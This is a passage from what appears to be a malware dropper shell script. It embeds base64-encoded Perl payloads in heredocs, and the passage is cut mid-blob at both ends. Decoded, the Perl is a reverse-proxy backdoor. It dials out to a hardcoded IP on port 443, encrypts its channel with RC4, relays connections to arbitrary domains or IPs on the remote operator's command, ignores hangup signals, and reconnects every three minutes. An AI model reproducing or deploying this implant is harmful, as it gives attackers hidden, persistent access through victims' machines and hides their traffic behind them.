KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_2() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl 